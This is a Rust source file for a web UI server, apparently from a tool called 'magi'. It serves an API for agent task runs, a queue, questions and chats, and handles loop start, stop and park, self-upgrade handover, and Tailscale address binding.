1use std::collections::{HashMap, HashSet};
94use std::convert::Infallible;
95use std::net::{IpAddr, Ipv4Addr, SocketAddr};
96use std::path::{Path as FsPath, PathBuf};
97use std::pin::Pin;
98use std::sync::{Arc, Mutex, MutexGuard, PoisonError};
99use std::time::Duration;
100use tokio::sync::Notify;
101
102use anyhow::{Context, Result};
103use axum::Json;
104use axum::Router;
105use axum::extract::rejection::JsonRejection;
106use axum::extract::{Path, Query, State};
107use axum::http::{HeaderValue, StatusCode, header};
108use axum::response::sse::{Event, KeepAlive, Sse};
109use axum::response::{IntoResponse, Response};
110use axum::routing::{delete, get, post};
111use jiff::Timestamp;
112use serde::{Deserialize, Serialize};
113use tokio_stream::StreamExt as _;
114use tokio_stream::wrappers::ReceiverStream;
115
116use crate::ask::{Answer, Question, Questions};
117use crate::chat::{Chat, Chats};
118use crate::config::Config;
119use crate::md;
120use crate::proc::Quiet as _;
121use crate::queue::{Queue, Task, title_from};
122use crate::run::{RunState, RunStatus};
123use crate::{chat, daemon, report, repos, run};
124
125pub const DEFAULT_PORT: u16 = 7878;
127
128const POLL: Duration = Duration::from_secs(1);
130
131const KEEPALIVE: Duration = Duration::from_secs(15);
135
136const LIST_DEFAULT: usize = 50;
140const LIST_MAX: usize = 500;
142
143const TITLE_MAX: usize = 72;
145
146const PANEL_CSP: &str = "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
169 font-src data:; base-uri 'none'; form-action 'none'; \
170 frame-ancestors 'self'";
171
172const INDEX_HTML: &str = include_str!("../assets/ui/index.html");
173const APP_CSS: &str = include_str!("../assets/ui/app.css");
174const APP_JS: &str = include_str!("../assets/ui/app.js");
175
176#[derive(Debug, Clone, Copy, PartialEq, Eq)]
178pub enum Bind {
179 Auto,
181 Addr(IpAddr),
183}
184
185impl std::str::FromStr for Bind {
186 type Err = String;
187
188 fn from_str(s: &str) -> std::result::Result<Self, Self::Err> {
192 if s.eq_ignore_ascii_case("auto") {
193 return Ok(Self::Auto);
194 }
195 s.parse()
196 .map(Self::Addr)
197 .map_err(|_| format!("expected `auto` or an IP address, got `{s}`"))
198 }
199}
200
201impl std::fmt::Display for Bind {
202 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
203 match self {
204 Self::Auto => f.write_str("auto"),
205 Self::Addr(addr) => write!(f, "{addr}"),
206 }
207 }
208}
209
210#[derive(Debug, Clone)]
212pub struct Opts {
213 pub bind: Bind,
215 pub port: u16,
217 pub repo: PathBuf,
219 pub open: bool,
222 pub merge: Option<String>,
230}
231
232impl Default for Opts {
233 fn default() -> Self {
234 Self {
235 bind: Bind::Auto,
236 port: DEFAULT_PORT,
237 repo: PathBuf::from("."),
238 open: false,
239 merge: None,
240 }
241 }
242}
243
244#[derive(Debug, Clone)]
250pub struct Ui {
251 queue: Queue,
252 questions: Questions,
253 chats: Chats,
254 runs: PathBuf,
255 home: PathBuf,
256 repo: PathBuf,
257 turns: Arc<Mutex<HashSet<String>>>,
265 resuming: Arc<Mutex<HashSet<String>>>,
272 repos_cache: repos::Cache,
276 merge: Option<String>,
278 looping: Arc<Mutex<LoopState>>,
280 launch: Launch,
292}
293
294impl Ui {
295 pub fn new(
297 queue: Queue,
298 questions: Questions,
299 chats: Chats,
300 runs: PathBuf,
301 home: PathBuf,
302 repo: PathBuf,
303 ) -> Self {
304 Self {
305 queue,
306 questions,
307 chats,
308 runs,
309 home,
310 repo,
311 turns: Arc::default(),
312 resuming: Arc::default(),
313 repos_cache: repos::Cache::new(),
314 merge: None,
315 looping: Arc::default(),
316 launch: launch_daemon,
317 }
318 }
319
320 pub fn open(repo: PathBuf) -> Self {
323 Self::new(
324 Queue::open(),
325 Questions::open(),
326 Chats::open(),
327 run::runs_root(),
328 run::home(),
329 repo,
330 )
331 }
332
333 #[must_use]
340 pub fn with_merge(mut self, merge: Option<String>) -> Self {
341 self.merge = merge;
342 self
343 }
344
345 #[cfg(test)]
350 #[must_use]
351 fn with_launch(mut self, launch: Launch) -> Self {
352 self.launch = launch;
353 self
354 }
355
356 fn looping(&self) -> Arc<Mutex<LoopState>> {
358 Arc::clone(&self.looping)
359 }
360
361 fn start_loop(&self, foreign: Option<Foreign>) -> ApiResult<()> {
368 if let Some(other) = foreign {
369 return Err(ApiError::conflict(format!(
370 "{} is already running the loop, so this one will not start a \
371 second: two loops on one queue race for the same claims and \
372 burn the agent quota twice over. Stop it where it was \
373 started.",
374 other.who()
375 )));
376 }
377 let mut state = self.lock_loop();
378 if state.live.as_ref().is_some_and(Live::alive) {
379 return Err(ApiError::conflict(format!(
380 "this magi web process (pid {}) is already running the loop",
381 std::process::id()
382 )));
383 }
384
385 let stop = daemon::Stop::new();
386 let opts = daemon::Opts {
390 repo: self.repo.clone(),
391 merge: self.merge.clone(),
392 ..daemon::Opts::default()
393 };
394 let launch = self.launch;
395 let looping = Arc::clone(&self.looping);
396 let handle = tokio::spawn({
397 let opts = opts.clone();
398 let stop = stop.clone();
399 async move {
400 let failure = match launch(opts, stop).await {
401 Ok(()) => None,
402 Err(e) => Some(format!("{e:#}")),
403 };
404 match &failure {
405 Some(why) => tracing::error!("the loop stopped: {why}"),
406 None => tracing::info!("the loop stopped"),
407 }
408 let mut state = lock_or_recover(&looping);
414 state.live = None;
415 state.last_error = failure;
416 state.rev += 1;
417 }
418 });
419 tracing::info!(
420 "the loop is now running in this process: repo {}, merge {}",
421 opts.repo.display(),
422 opts.merge.as_deref().unwrap_or("as the config says")
423 );
424 state.live = Some(Live { stop, handle, opts });
425 state.last_error = None;
428 state.rev += 1;
429 Ok(())
430 }
431
432 fn stop_loop(&self, foreign: Option<Foreign>, park: bool) -> ApiResult<()> {
438 if let Some(other) = foreign {
439 return Err(ApiError::conflict(format!(
440 "the loop belongs to {}, and this process cannot stop it - \
441 stop it where it was started. A button that silently did \
442 nothing would be worse than this refusal.",
443 other.who()
444 )));
445 }
446 let mut state = self.lock_loop();
447 let Some(live) = state.live.as_ref() else {
448 return Ok(());
449 };
450 if live.stop.stopped() && (!park || live.stop.parking()) {
454 return Ok(());
455 }
456 if park {
457 live.stop.park();
458 tracing::info!("the loop was asked to park; the run stops at its next node boundary");
459 } else {
460 live.stop.stop();
461 tracing::info!("the loop was asked to stop; a run in flight is finished first");
462 }
463 state.rev += 1;
464 Ok(())
465 }
466
467 fn loop_view(&self, reading: Option<daemon::Reading>) -> LoopView {
474 let state = self.lock_loop();
475 let live = state.live.as_ref().filter(|live| live.alive());
478 LoopView {
479 running: live.is_some(),
480 stopping: live.is_some_and(|live| live.stop.finishing()),
481 parking: live.is_some_and(|live| live.stop.parking()),
482 owned: live.is_some(),
483 repo: live
484 .map_or(&self.repo, |live| &live.opts.repo)
485 .display()
486 .to_string(),
487 merge: live.map_or_else(|| self.merge.clone(), |live| live.opts.merge.clone()),
488 last_error: state.last_error.clone(),
489 daemon: DaemonView::of(reading),
490 }
491 }
492
493 fn lock_loop(&self) -> MutexGuard<'_, LoopState> {
495 lock_or_recover(&self.looping)
496 }
497
498 fn begin_turn(&self, id: &str) -> ApiResult<TurnGuard> {
521 let mut live = self
522 .turns
523 .lock()
524 .map_err(|_| ApiError::internal("the chat turn lock was poisoned"))?;
525 if !live.insert(id.to_owned()) {
526 return Err(ApiError::conflict(format!(
527 "chat {id} is already taking a turn"
528 )));
529 }
530 Ok(TurnGuard {
531 chat: id.to_owned(),
532 turns: Arc::clone(&self.turns),
533 })
534 }
535
536 fn park_for_upgrade(&self) -> ApiResult<Option<String>> {
543 let parking = {
544 let mut state = self.lock_loop();
545 let Some(live) = state.live.as_ref() else {
546 return Ok(None);
547 };
548 let busy = live.stop.busy_now();
549 live.stop.park();
550 state.rev += 1;
551 busy
552 };
553 Ok(if parking {
554 daemon::current_work(&self.home, jiff::Timestamp::now()).map(|c| c.run)
555 } else {
556 None
557 })
558 }
559
560 fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
564 let mut live = self
565 .resuming
566 .lock()
567 .map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
568 if !live.insert(id.to_owned()) {
569 return Err(ApiError::conflict(format!(
570 "run {id} is already being resumed"
571 )));
572 }
573 Ok(ResumeGuard {
574 run: id.to_owned(),
575 resuming: Arc::clone(&self.resuming),
576 })
577 }
578
579 pub fn router(self) -> Router {
587 Router::new()
588 .route("/", get(index))
589 .route("/app.css", get(app_css))
590 .route("/app.js", get(app_js))
591 .route("/api/health", get(health))
592 .route("/api/loop", get(loop_get).post(loop_post))
593 .route("/api/upgrade", post(upgrade_post))
594 .route("/api/runs", get(runs_list))
595 .route("/api/runs/{id}", get(run_detail).delete(run_delete))
596 .route("/api/runs/{id}/report", get(run_report))
597 .route("/api/runs/{id}/fold", post(run_fold))
598 .route("/api/runs/{id}/resume", post(run_resume))
599 .route("/api/queue", get(queue_list))
600 .route("/api/queue/{id}", delete(queue_delete))
601 .route("/api/repos", get(repos_list))
602 .route("/api/queue/{id}/hold", post(queue_hold))
603 .route("/api/queue/{id}/release", post(queue_release))
604 .route("/api/questions", get(questions_list))
605 .route("/api/questions/{id}/answer", post(question_answer))
606 .route("/api/questions/{id}/panel", get(question_panel))
607 .route("/api/questions/{id}/panel/index.html", get(question_panel))
615 .route("/api/questions/{id}/panel/{name}", get(question_asset))
616 .route("/api/questions/{id}/asset/{name}", get(question_asset))
617 .route("/api/chats", get(chats_list).post(chat_post))
618 .route("/api/chats/{id}", get(chat_detail))
619 .route("/api/chats/{id}/say", post(chat_say))
620 .route("/api/chats/{id}/file", post(chat_file))
621 .route("/api/events", get(events))
622 .with_state(Arc::new(self))
623 }
624}
625
626#[derive(Debug)]
632struct TurnGuard {
633 chat: String,
634 turns: Arc<Mutex<HashSet<String>>>,
635}
636
637impl Drop for TurnGuard {
638 fn drop(&mut self) {
639 if let Ok(mut live) = self.turns.lock() {
640 live.remove(&self.chat);
641 }
642 }
643}
644
645struct ResumeGuard {
647 run: String,
648 resuming: Arc<Mutex<HashSet<String>>>,
649}
650
651impl Drop for ResumeGuard {
652 fn drop(&mut self) {
653 if let Ok(mut live) = self.resuming.lock() {
654 live.remove(&self.run);
655 }
656 }
657}
658
659async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
669 const WINDOW: Duration = Duration::from_secs(10);
670 const GAP: Duration = Duration::from_millis(250);
671
672 let deadline = std::time::Instant::now() + WINDOW;
673 let mut said = false;
674 loop {
675 match tokio::net::TcpListener::bind(socket).await {
676 Ok(listener) => return Ok(listener),
677 Err(e)
678 if e.kind() == std::io::ErrorKind::AddrInUse
679 && std::time::Instant::now() < deadline =>
680 {
681 if !said {
682 said = true;
683 tracing::info!(
684 "{socket} is still held - waiting up to {}s for it, \
685 which is what a restart looks like from here",
686 WINDOW.as_secs()
687 );
688 }
689 tokio::time::sleep(GAP).await;
690 }
691 Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
692 }
693 }
694}
695
696static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
699
700fn spawn_successor() -> Result<()> {
712 let exe = std::env::current_exe().context("find this binary")?;
713 let args: Vec<String> = std::env::args().skip(1).collect();
714 tracing::info!("restarting: {} {}", exe.display(), args.join(" "));
715
716 let mut cmd = std::process::Command::new(&exe);
717 cmd.args(&args)
718 .stdin(std::process::Stdio::null())
719 .stdout(std::process::Stdio::null())
720 .stderr(std::process::Stdio::null());
721 #[cfg(windows)]
722 {
723 use std::os::windows::process::CommandExt as _;
724 cmd.creation_flags(0x0000_0008 | 0x0000_0200);
727 }
728 cmd.spawn().context("start the successor")?;
729 Ok(())
730}
731
732pub async fn serve(opts: Opts) -> Result<()> {
757 let (addr, warning) = resolve_bind(&opts.bind);
758 if let Some(warning) = warning {
759 tracing::warn!("{warning}");
760 }
761
762 report::set_color(false);
768
769 let ui = Ui::open(opts.repo).with_merge(opts.merge);
770 let looping = ui.looping();
771 let socket = SocketAddr::new(addr, opts.port);
772 let listener = bind_waiting(socket).await?;
773 let url = format!("http://{addr}:{}", opts.port);
774 tracing::info!(
775 "magi web UI on {url} - there is no authentication, so anyone who can \
776 reach this address can file and hold tasks: the tailnet is the \
777 security boundary"
778 );
779 tracing::info!(
780 "the queue loop is not running yet - start it from the UI, which is \
781 the whole reason this process can: nothing in the queue moves until \
782 something is running the loop"
783 );
784 if opts.open {
785 println!("{url}");
789 }
790
791 let mut served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
794 let interrupted = async {
795 if tokio::signal::ctrl_c().await.is_err() {
796 std::future::pending::<()>().await;
801 }
802 };
803 let handover = HANDOVER.notified();
804 tokio::select! {
805 joined = &mut served => match joined {
806 Ok(outcome) => outcome.context("serve the web UI"),
807 Err(e) => Err(e).context("the task serving the web UI ended"),
808 },
809 () = interrupted => {
810 tracing::info!("shutting down the web UI");
811 finish_loop(&looping).await;
812 Ok(())
813 }
814 () = handover => {
815 tracing::info!("upgraded - handing this address to the successor");
816 hand_over(&looping, served, spawn_successor).await
817 }
818 }
819}
820
821async fn hand_over(
844 looping: &Mutex<LoopState>,
845 served: tokio::task::JoinHandle<std::io::Result<()>>,
846 successor: impl FnOnce() -> Result<()>,
847) -> Result<()> {
848 finish_loop(looping).await;
849 served.abort();
850 let _ = served.await;
851 successor()
852}
853
854async fn finish_loop(state: &Mutex<LoopState>) {
861 let live = lock_or_recover(state).live.take();
862 let Some(live) = live else { return };
863 live.stop.stop();
864 lock_or_recover(state).rev += 1;
865 tracing::info!("waiting for the loop to finish the run in flight");
866 let _ = live.handle.await;
869}
870
871pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
877 match bind {
878 Bind::Addr(addr) => (*addr, None),
879 Bind::Auto => match tailscale_ip() {
880 Ok(ip) => (IpAddr::V4(ip), None),
881 Err(why) => (
882 IpAddr::V4(Ipv4Addr::LOCALHOST),
883 Some(format!(
884 "--bind auto fell back to 127.0.0.1: {why}. The UI is \
885 local-only and a phone cannot reach it; start Tailscale \
886 or pass --bind <addr>"
887 )),
888 ),
889 },
890 }
891}
892
893fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
901 let out = std::process::Command::new("tailscale")
902 .args(["ip", "-4"])
903 .quiet()
904 .output()
905 .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
906 if !out.status.success() {
907 let why = String::from_utf8_lossy(&out.stderr);
908 let why = why.trim();
909 return Err(format!(
910 "`tailscale ip -4` failed ({}){}",
911 out.status,
912 if why.is_empty() {
913 String::new()
914 } else {
915 format!(": {why}")
916 }
917 ));
918 }
919 String::from_utf8_lossy(&out.stdout)
920 .lines()
921 .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
922 .find(is_tailnet)
923 .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
924}
925
926fn is_tailnet(ip: &Ipv4Addr) -> bool {
928 let o = ip.octets();
929 o[0] == 100 && (64..=127).contains(&o[1])
930}
931
932type ApiResult<T> = std::result::Result<T, ApiError>;
936
937#[derive(Debug)]
939struct ApiError {
940 status: StatusCode,
941 message: String,
942 problems: Vec<String>,
952}
953
954impl ApiError {
955 fn bad_request(message: impl Into<String>) -> Self {
957 Self {
958 status: StatusCode::BAD_REQUEST,
959 message: message.into(),
960 problems: Vec::new(),
961 }
962 }
963
964 fn bad_request_with(message: impl Into<String>, problems: Vec<String>) -> Self {
966 Self {
967 problems,
968 ..Self::bad_request(message)
969 }
970 }
971
972 fn not_found(message: impl Into<String>) -> Self {
974 Self {
975 status: StatusCode::NOT_FOUND,
976 message: message.into(),
977 problems: Vec::new(),
978 }
979 }
980
981 fn with_status(mut self, status: StatusCode) -> Self {
984 self.status = status;
985 self
986 }
987
988 fn bad_request_from(e: anyhow::Error) -> Self {
992 Self::bad_request(format!("{e:#}"))
993 }
994
995 fn conflict(message: impl Into<String>) -> Self {
996 Self {
997 status: StatusCode::CONFLICT,
998 message: message.into(),
999 problems: Vec::new(),
1000 }
1001 }
1002
1003 fn internal(message: impl Into<String>) -> Self {
1005 Self {
1006 status: StatusCode::INTERNAL_SERVER_ERROR,
1007 message: message.into(),
1008 problems: Vec::new(),
1009 }
1010 }
1011}
1012
1013impl From<anyhow::Error> for ApiError {
1014 fn from(e: anyhow::Error) -> Self {
1019 Self::internal(format!("{e:#}"))
1020 }
1021}
1022
1023impl IntoResponse for ApiError {
1024 fn into_response(self) -> Response {
1025 let mut body = serde_json::json!({ "error": self.message });
1026 if !self.problems.is_empty() {
1027 if let Some(map) = body.as_object_mut() {
1029 map.insert("problems".to_owned(), serde_json::json!(self.problems));
1030 }
1031 }
1032 (self.status, Json(body)).into_response()
1033 }
1034}
1035
1036async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
1045where
1046 T: Send + 'static,
1047{
1048 match tokio::task::spawn_blocking(job).await {
1049 Ok(result) => result,
1050 Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
1051 }
1052}
1053
1054const ASSET_CACHE: &str = "no-cache, must-revalidate";
1072
1073fn asset_etag() -> &'static str {
1080 static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
1081 format!(
1082 "\"{}-{}\"",
1083 env!("CARGO_PKG_VERSION"),
1084 INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
1089 )
1090 });
1091 &TAG
1092}
1093
1094fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
1096 [
1097 (header::CONTENT_TYPE, mime),
1098 (header::CACHE_CONTROL, ASSET_CACHE),
1099 (header::ETAG, asset_etag()),
1100 ]
1101}
1102
1103fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
1111 let tag = asset_etag();
1112 let known = headers
1113 .get(header::IF_NONE_MATCH)
1114 .and_then(|v| v.to_str().ok())
1115 .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
1119 if known {
1120 return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
1121 }
1122 (asset_headers(mime), body).into_response()
1123}
1124
1125async fn index(headers: header::HeaderMap) -> Response {
1126 asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
1127}
1128
1129async fn app_css(headers: header::HeaderMap) -> Response {
1130 asset(&headers, "text/css; charset=utf-8", APP_CSS)
1131}
1132
1133async fn app_js(headers: header::HeaderMap) -> Response {
1134 asset(&headers, "text/javascript; charset=utf-8", APP_JS)
1135}
1136
1137#[derive(Debug, Serialize)]
1139struct HealthView {
1140 version: &'static str,
1141 home: String,
1142 queue_rev: u64,
1143 runs_rev: u64,
1144 questions_rev: u64,
1156 chats_rev: u64,
1158 loop_rev: u64,
1163 runs_unreadable: usize,
1171 questions_open: usize,
1176 chats_open: usize,
1184 daemon: DaemonView,
1185 #[serde(rename = "loop")]
1191 looping: LoopView,
1192}
1193
1194#[derive(Debug, Serialize)]
1196struct DaemonView {
1197 running: bool,
1198 idle: Option<bool>,
1199 pid: Option<u32>,
1200 current: Option<daemon::Current>,
1201 completed: Option<u64>,
1202 stale_for_secs: Option<i64>,
1203}
1204
1205impl DaemonView {
1206 fn of(status: Option<daemon::Reading>) -> Self {
1210 let Some(status) = status else {
1211 return Self {
1212 running: false,
1213 idle: None,
1214 pid: None,
1215 current: None,
1216 completed: None,
1217 stale_for_secs: None,
1218 };
1219 };
1220 let now = Timestamp::now();
1221 let age = status.age_secs(now);
1222 Self {
1223 running: status.running(now),
1224 idle: Some(status.idle),
1225 pid: status.pid,
1226 current: status.current,
1227 completed: Some(status.completed),
1228 stale_for_secs: age,
1229 }
1230 }
1231}
1232
1233async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
1234 blocking(move || {
1235 let reading = daemon::read_status(&ui.home);
1239 let loop_rev = ui.lock_loop().rev;
1243 Ok(Json(HealthView {
1244 version: env!("CARGO_PKG_VERSION"),
1245 home: ui.home.display().to_string(),
1246 queue_rev: ui.queue.revision(),
1247 runs_rev: runs_revision(&ui.runs),
1248 questions_rev: ui.questions.revision(),
1249 chats_rev: ui.chats.revision(),
1250 loop_rev,
1251 runs_unreadable: runs_unreadable(&ui.runs),
1252 questions_open: ui.questions.count_open(),
1253 chats_open: ui.chats.count_open(),
1254 daemon: DaemonView::of(reading.clone()),
1255 looping: ui.loop_view(reading),
1256 }))
1257 })
1258 .await
1259}
1260
1261#[derive(Debug, Serialize)]
1263struct LoopView {
1264 running: bool,
1266 stopping: bool,
1274 parking: bool,
1282 owned: bool,
1290 repo: String,
1293 merge: Option<String>,
1296 last_error: Option<String>,
1304 daemon: DaemonView,
1307}
1308
1309#[derive(Debug, Clone, Copy)]
1318struct Foreign {
1319 pid: Option<u32>,
1321}
1322
1323impl Foreign {
1324 fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
1327 let reading = reading?;
1328 if !reading.running(Timestamp::now()) {
1329 return None;
1330 }
1331 match reading.pid {
1332 Some(pid) if pid == std::process::id() => None,
1333 pid => Some(Self { pid }),
1337 }
1338 }
1339
1340 fn who(&self) -> String {
1343 match self.pid {
1344 Some(pid) => format!("another magi process (pid {pid})"),
1345 None => "another magi process".to_owned(),
1346 }
1347 }
1348}
1349
1350type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
1355
1356fn launch_daemon(
1358 opts: daemon::Opts,
1359 stop: daemon::Stop,
1360) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
1361 Box::pin(daemon::serve_until(opts, stop))
1362}
1363
1364#[derive(Debug, Default)]
1366struct LoopState {
1367 live: Option<Live>,
1369 rev: u64,
1377 last_error: Option<String>,
1380}
1381
1382#[derive(Debug)]
1384struct Live {
1385 stop: daemon::Stop,
1387 handle: tokio::task::JoinHandle<()>,
1392 opts: daemon::Opts,
1396}
1397
1398impl Live {
1399 fn alive(&self) -> bool {
1401 !self.handle.is_finished()
1402 }
1403}
1404
1405fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
1412 state.lock().unwrap_or_else(PoisonError::into_inner)
1413}
1414
1415async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
1417 blocking(move || {
1418 let reading = daemon::read_status(&ui.home);
1419 Ok(Json(ui.loop_view(reading)))
1420 })
1421 .await
1422}
1423
1424#[derive(Debug, Deserialize)]
1430#[serde(deny_unknown_fields)]
1431struct LoopCommand {
1432 running: bool,
1433 #[serde(default)]
1443 park: bool,
1444}
1445
1446async fn loop_post(
1454 State(ui): State<Arc<Ui>>,
1455 body: std::result::Result<Json<LoopCommand>, JsonRejection>,
1456) -> ApiResult<Json<LoopView>> {
1457 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
1460 blocking(move || {
1461 let reading = daemon::read_status(&ui.home);
1462 let foreign = Foreign::of(reading.as_ref());
1463 if body.running {
1464 ui.start_loop(foreign)?;
1465 } else {
1466 ui.stop_loop(foreign, body.park)?;
1467 }
1468 Ok(Json(ui.loop_view(reading)))
1469 })
1470 .await
1471}
1472
1473#[derive(Debug, Serialize)]
1475struct UpgradeView {
1476 from: String,
1478 to: Option<String>,
1480 parked: Option<String>,
1482 detail: String,
1484}
1485
1486async fn upgrade_post(State(ui): State<Arc<Ui>>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
1510 let reading = daemon::read_status(&ui.home);
1511 if let Some(other) = Foreign::of(reading.as_ref()) {
1512 return Err(ApiError::conflict(format!(
1513 "the loop belongs to {}, so replacing this binary would leave \
1514 that process running an old one against the same queue. Upgrade \
1515 where it was started.",
1516 other.who()
1517 )));
1518 }
1519
1520 let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
1525 let latest = match crate::updater::Checker::new(&cfg.update) {
1526 Some(checker) => checker
1527 .newer_release()
1528 .await
1529 .map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?,
1530 None => None,
1531 };
1532 let Some(latest) = latest else {
1533 return Ok((
1534 StatusCode::OK,
1535 Json(UpgradeView {
1536 from: env!("CARGO_PKG_VERSION").to_owned(),
1537 to: None,
1538 parked: None,
1539 detail: "Already on the newest release. Nothing was parked \
1540 and nothing restarted."
1541 .to_owned(),
1542 }),
1543 ));
1544 };
1545
1546 let parked = ui.park_for_upgrade()?;
1549 let detail = match &parked {
1550 Some(run) => format!(
1555 "Run {} is parking at its next step, which can take as long as \
1556 the step it is on - up to an hour for an implement wave. The \
1557 deck replaces itself once it parks, comes back, and the loop \
1558 carries that run on from where it stopped. Nothing is lost if \
1559 you close this.",
1560 crate::run::short_of(run)
1561 ),
1562 None => "The deck replaces itself and comes back. Nothing was in \
1563 flight to park."
1564 .to_owned(),
1565 };
1566
1567 tokio::spawn(async move {
1568 if let Err(e) = upgrade_and_restart().await {
1569 tracing::error!("the upgrade did not complete: {e:#}");
1570 }
1571 });
1572
1573 Ok((
1574 StatusCode::ACCEPTED,
1575 Json(UpgradeView {
1576 from: env!("CARGO_PKG_VERSION").to_owned(),
1577 to: Some(latest.tag_name.clone()),
1578 parked,
1579 detail,
1580 }),
1581 ))
1582}
1583
1584async fn upgrade_and_restart() -> Result<()> {
1589 crate::updater::run_self_update(true, false, true).await?;
1592 tracing::info!("binary replaced - asking the server to hand over");
1593 HANDOVER.notify_one();
1594 Ok(())
1595}
1596
1597#[derive(Debug, Serialize)]
1603struct RunSummary {
1604 id: String,
1605 short: String,
1606 status: String,
1607 done: bool,
1608 instruction: String,
1609 title: String,
1610 repo: String,
1611 repo_name: String,
1612 created_at: String,
1613 updated_at: String,
1614 candidates: usize,
1615 viable: usize,
1616 judges: usize,
1617 winner: Option<char>,
1618 reviews: usize,
1619 quota_losses: usize,
1620 event: Option<String>,
1621 superseded_by: Option<String>,
1626 waiting: bool,
1633 pr: Option<crate::run::PrRecord>,
1635}
1636
1637impl RunSummary {
1638 fn of(state: &RunState, waiting: bool) -> Self {
1639 Self {
1640 id: state.id.clone(),
1641 short: state.short().to_owned(),
1642 status: status_word(state.status),
1643 done: state.status.done(),
1644 instruction: state.instruction.clone(),
1645 title: title_from(&state.instruction, TITLE_MAX),
1646 repo: state.repo.display().to_string(),
1647 repo_name: state
1648 .repo
1649 .file_name()
1650 .map(|n| n.to_string_lossy().into_owned())
1651 .unwrap_or_default(),
1652 created_at: state.created_at.to_string(),
1653 updated_at: state.updated_at.to_string(),
1654 candidates: state.candidates.len(),
1655 viable: state.viable().len(),
1656 judges: state.config.graph.judges,
1657 winner: state.winner().map(|c| c.label),
1658 reviews: state.reviews.len(),
1659 quota_losses: state.quota.len(),
1660 event: state.events.last().map(|e| e.message.clone()),
1661 waiting,
1662 superseded_by: None,
1665 pr: state.pr.clone(),
1666 }
1667 }
1668}
1669
1670fn status_word(status: RunStatus) -> String {
1673 status.as_str().to_owned()
1677}
1678
1679#[derive(Debug, Deserialize)]
1681struct ListQuery {
1682 #[serde(default)]
1683 limit: Option<usize>,
1684}
1685
1686async fn runs_list(
1687 State(ui): State<Arc<Ui>>,
1688 Query(q): Query<ListQuery>,
1689) -> ApiResult<Json<Vec<RunSummary>>> {
1690 let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
1691 blocking(move || {
1692 let superseded = superseded_runs(&ui.queue);
1693 let summaries = run_ids(&ui.runs)
1694 .into_iter()
1695 .filter_map(|id| read_run(&ui.runs, &id).ok())
1700 .take(limit)
1701 .map(|state| {
1702 let waiting = !ui.questions.open_for(&state.id).is_empty();
1703 let by = superseded.get(&state.id).cloned();
1704 let mut row = RunSummary::of(&state, waiting);
1705 row.superseded_by = by.as_deref().map(crate::run::short_of).map(str::to_owned);
1706 row
1707 })
1708 .collect();
1709 Ok(Json(summaries))
1710 })
1711 .await
1712}
1713
1714fn superseded_runs(queue: &Queue) -> HashMap<String, String> {
1727 let mut by = HashMap::new();
1728 for task in queue.list() {
1729 for pair in task.runs.windows(2) {
1730 if let [earlier, later] = pair {
1731 by.insert(earlier.clone(), later.clone());
1732 }
1733 }
1734 }
1735 by
1736}
1737
1738#[derive(Debug, Serialize)]
1745struct RunDetailView {
1746 #[serde(flatten)]
1747 state: RunState,
1748 instruction_md: Vec<md::Node>,
1749}
1750
1751impl From<RunState> for RunDetailView {
1752 fn from(state: RunState) -> Self {
1753 Self {
1754 instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
1755 state,
1756 }
1757 }
1758}
1759
1760async fn run_detail(
1761 State(ui): State<Arc<Ui>>,
1762 Path(id): Path<String>,
1763) -> ApiResult<Json<RunDetailView>> {
1764 blocking(move || {
1765 let id = resolve_run(&ui.runs, &id)?;
1766 Ok(Json(RunDetailView::from(read_run(&ui.runs, &id)?)))
1767 })
1768 .await
1769}
1770
1771async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
1777 blocking(move || {
1778 let id = resolve_run(&ui.runs, &id)?;
1779 let state = read_run(&ui.runs, &id)?;
1780 let in_flight = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
1781 state
1782 .ensure_can_delete(in_flight)
1783 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
1784 let dir = ui.runs.join(&id);
1785 std::fs::remove_dir_all(&dir)
1786 .with_context(|| format!("remove run directory {}", dir.display()))?;
1787 ui.questions.abandon_for_run(
1790 &id,
1791 &format!("run {id} was deleted, so nothing is waiting for this answer"),
1792 )?;
1793 Ok(StatusCode::NO_CONTENT)
1794 })
1795 .await
1796}
1797
1798async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
1817 let (id, mut state) = {
1818 let ui = Arc::clone(&ui);
1819 blocking(move || {
1820 let id = resolve_run(&ui.runs, &id)?;
